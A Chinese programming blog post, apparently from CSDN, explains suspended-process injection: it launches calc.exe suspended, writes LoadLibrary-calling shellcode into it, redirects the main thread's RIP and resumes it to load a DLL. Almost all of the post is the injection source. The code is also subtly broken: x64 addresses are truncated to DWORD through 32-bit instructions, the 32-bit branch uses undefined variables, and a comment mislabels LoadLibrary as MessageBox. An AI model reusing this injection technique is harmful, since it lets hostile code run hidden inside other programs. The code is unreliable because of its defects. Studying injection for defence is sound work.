挂起进程注入

挂起进程注入,注入手段利用LoadLibrary


    1 CreateProcess时,指定参数CREATE_SUSPENDED。这样将新创建的进程挂起(不运行)
    2 获取进程的主线程的上下文环境。注意因为是以挂起方式创建进程,所以主线程默认是挂起的
    3 写入shellcode到目标进程
    4 修改主线程的上下文环境中的rip/eip
    5 设置新的上下文环境
    6 恢复线程执行

#include "stdafx.h"
#include <Windows.h>

#define CODE_SIZE 40	//code 后面应该紧接着数据

CHAR shellcode[] = {
	0x68, 0x78, 0x56, 0x34, 0x12,		//push org rip 这里需要修正

	0x41, 0x51,							//push r9
	0x41, 0x50,							//push r8
	0x52,								//push rdx
	0x51,								//push rcx
	0x50,								//push rax

	0x48, 0x83, 0xEC, 0x28,				//sub rsp, 28 

	0xB9, 0x78, 0x56, 0x34, 0x12,		//mov ecx, 0x12345678 这里需要修正
	0xB8, 0x78, 0x56, 0x34, 0x12,		//mov eax, LoadLibrary 这里需要修正
	0xFF, 0xD0,							//call rax

	0x48, 0x83, 0xC4, 0x28,				//add rsp, 28 

	0x58,								//pop rax
	0x59,								//pop rcx
	0x5A,								//pop rdx
	0x41, 0x58,							//pop r8
	0x41, 0x59,							//pop r9

	0xC3,								//ret 返回到原来的Rip, 这里很关键

//offset = 40 分页地址是对齐的,数据放在这里应该也是对齐的, 一行25个字节,10行250个字节,存放DLL路径够用了
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
	0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
};


//修复shellcode中的两处绝对地址
//oldRip 线程挂起前的RIP
//pfn Messagebox的地址
//偷懒起见, 这里利用for循环找0x12345678,找到了就修复,否则需要去数数比较麻烦
void FixShellCode(DWORD oldRip, DWORD lpParam, DWORD pfnLoadLibrary){
	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = oldRip;//修复RIP
			break;
		}
	}

	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = lpParam;//修复LoadLibrary的参数
			break;
		}
	}

	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = pfnLoadLibrary;//修复LoadLibrary的地址
			break;
		}
	}

}

int _tmain(int argc, _TCHAR* argv[])
{

	LPVOID pszRemoteBuffer = NULL;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT context = { 0 };
	SIZE_T dwWriten = 0;

	si.cb = sizeof(STARTUPINFO);
	si.wShowWindow = SW_SHOWDEFAULT;
	
	//1 以挂起的方式创建进程,这里注入计算器
	BOOL bRet = CreateProcess("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
		NULL, NULL, &si, &pi);
	if (!bRet)
	{
		printf("CreateProcess 失败");
		return -1;
	}

	//2 获取线程上下文
	context.ContextFlags = CONTEXT_FULL;
	bRet = GetThreadContext(pi.hThread, &context);
	if (!bRet)
	{
		printf("GetThreadContext 失败");
		return -1;
	}

	

	//3 申请内存
	pszRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (pszRemoteBuffer == NULL)
	{
		printf("VirtualAllocEx 失败");
		return-1;
	}

	printf("pszRemoteBuffer=%p shellcode size=%d\n", pszRemoteBuffer, sizeof(shellcode));

	//4 修复shellcode中的几个绝对地址
	strcpy(shellcode + CODE_SIZE, "D:\\VS\\DllToInject\\x64\\Release\\InjectDll.dll");
	FixShellCode(context.Rip, (DWORD)pszRemoteBuffer + CODE_SIZE, (DWORD)LoadLibrary);
	

	//5 在远程申请的内存空间中写入shellcode
	if (!WriteProcessMemory(pi.hProcess, pszRemoteBuffer, shellcode, sizeof(shellcode), &dwWriten))
	{
		printf("写入shellcode失败");
		goto SAFE_EXIT;
	}

	printf("shellcode write bytes:%d\n", dwWriten);
	printf("rip=%p\n", context.Rip);
#ifdef _WIN64
	context.Rip = (DWORD)pszRemoteBuffer;
#else 
	newContext.Eip = (DWORD)g_lpBuffer;
#endif

	printf("rip=%p\n", context.Rip);
	//6 设置新的上下文
	bRet = SetThreadContext(pi.hThread, &context);
	if (!bRet)
	{
		printf("SetThreadContext 失败");
		goto SAFE_EXIT;
	}

	//7 唤醒主线程
	bRet = ResumeThread(pi.hThread);
	if (bRet == -1)
	{
		printf("ResumeThread 失败 Errcode=%d\n", GetLastError());
		goto SAFE_EXIT;
	}

	//等shellcode运行完毕,然后再释放内存 VirtualFreeEx
	Sleep(3000);

SAFE_EXIT:
	VirtualFreeEx(pi.hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值